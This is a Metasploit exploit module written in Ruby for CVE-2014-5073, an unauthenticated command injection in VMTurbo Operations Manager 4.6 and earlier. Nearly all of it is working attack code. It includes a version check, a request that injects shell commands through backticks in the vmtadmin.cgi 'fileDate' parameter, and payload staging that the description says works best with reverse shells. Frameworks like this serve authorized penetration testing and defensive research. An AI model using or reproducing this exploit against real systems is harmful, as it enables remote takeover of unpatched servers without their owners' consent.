1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10
  include Msf::Exploit::CmdStager
11
  include Msf::Exploit::EXE
12

13
  def initialize(info = {})
14
    super(
15
      update_info(
16
        info,
17
        'Name' => 'VMTurbo Operations Manager vmtadmin.cgi Remote Command Execution',
18
        'Description' => %q{
19
          VMTurbo Operations Manager 4.6 and prior are vulnerable to unauthenticated
20
          OS Command injection in the web interface. Use reverse payloads for the most
21
          reliable results. Since it is a blind OS command injection vulnerability,
22
          there is no output for the executed command when using the cmd generic payload.
23
          Port binding payloads are disregarded due to the restrictive firewall settings.
24

25
          This module has been tested successfully on VMTurbo Operations Manager versions 4.5 and
26
          4.6.
27
        },
28
        'Author' => [
29
          # Secunia Research - Discovery and Metasploit module
30
          'Emilio Pinna <emilio.pinn[at]gmail.com>'
31
        ],
32
        'License' => MSF_LICENSE,
33
        'References' => [
34
          ['CVE', '2014-5073'],
35
          ['OSVDB', '109572'],
36
          ['URL', 'http://web.archive.org/web/20140905004331/http://secunia.com:80/secunia_research/2014-8/']
37
        ],
38
        'DisclosureDate' => '2014-06-25',
39
        'Privileged' => false,
40
        'Platform' => %w{linux unix},
41
        'Payload' => {
42
          'Compat' =>
43
          {
44
            'ConnectionType' => '-bind'
45
          }
46
        },
47
        'Targets' => [
48
          [
49
            'Unix CMD',
50
            {
51
              'Arch' => ARCH_CMD,
52
              'Platform' => 'unix'
53
            }
54
          ],
55
          [
56
            'VMTurbo Operations Manager',
57
            {
58
              'Arch' => [ ARCH_X86, ARCH_X64 ],
59
              'Platform' => 'linux'
60
            }
61
          ],
62
        ],
63
        'DefaultTarget' => 1,
64
        'Notes' => {
65
          'Reliability' => UNKNOWN_RELIABILITY,
66
          'Stability' => UNKNOWN_STABILITY,
67
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
68
        }
69
      )
70
    )
71

72
    deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
73
  end
74

75
  def check
76
    begin
77
      res = send_request_cgi({
78
        'method' => 'GET',
79
        'uri' => "/cgi-bin/vmtadmin.cgi",
80
        'vars_get' => {
81
          "callType" => "ACTION",
82
          "actionType" => "VERSIONS"
83
        }
84
      })
85
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
86
      vprint_error("Failed to connect to the web server")
87
      return Exploit::CheckCode::Unknown
88
    end
89

90
    if res and res.code == 200 and res.body =~ /vmtbuild:([\d]+),vmtrelease:([\d.]+),vmtbits:[\d]+,osbits:[\d]+/
91
      version = $2
92
      build = $1
93

94
      vprint_status("VMTurbo Operations Manager version #{version} build #{build} detected")
95
    else
96
      vprint_status("Unexpected vmtadmin.cgi response")
97
      return Exploit::CheckCode::Unknown
98
    end
99

100
    # NOTE (@todb): This PHP style comparison seems incorrect, since
101
    # strings are being compared and not numbers. Example:
102
    # 1.9.3p547 :001 > a = "4.6"
103
    #  => "4.6"
104
    # 1.9.3p547 :002 > b = "10.6"
105
    #  => "10.6"
106
    # 1.9.3p547 :003 > a <= b
107
    #
108
    # Also, the description says 4.5 is also vuln. This doesn't
109
    # appear to care.
110
    if version and version <= "4.6" and build < "28657"
111
      return Exploit::CheckCode::Appears
112
    else
113
      return Exploit::CheckCode::Safe
114
    end
115
  end
116

117
  def execute_command(cmd, opts)
118
    begin
119
      res = send_request_cgi({
120
        'uri' => '/cgi-bin/vmtadmin.cgi',
121
        'method' => 'GET',
122
        'vars_get' => {
123
          "callType" => "DOWN",
124
          "actionType" => "CFGBACKUP",
125
          "fileDate" => "\"`#{cmd}`\""
126
        }
127
      })
128
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
129
      vprint_error("Failed to connect to the web server")
130
      return nil
131
    end
132

133
    vprint_status("Sent command #{cmd}")
134
  end
135

136
  def exploit
137
    # Handle single command shot
138
    if target.name =~ /CMD/
139
      cmd = payload.encoded
140
      res = execute_command(cmd, {})
141

142
      unless res
143
        fail_with(Failure::Unknown, "#{peer} - Unable to execute payload")
144
      end
145

146
      print_status("Blind Exploitation - unknown exploitation state")
147
      return
148
    end
149

150
    # Handle payload upload using CmdStager mixin
151
    execute_cmdstager({ :flavor => :printf })
152
  end
153
end
154

155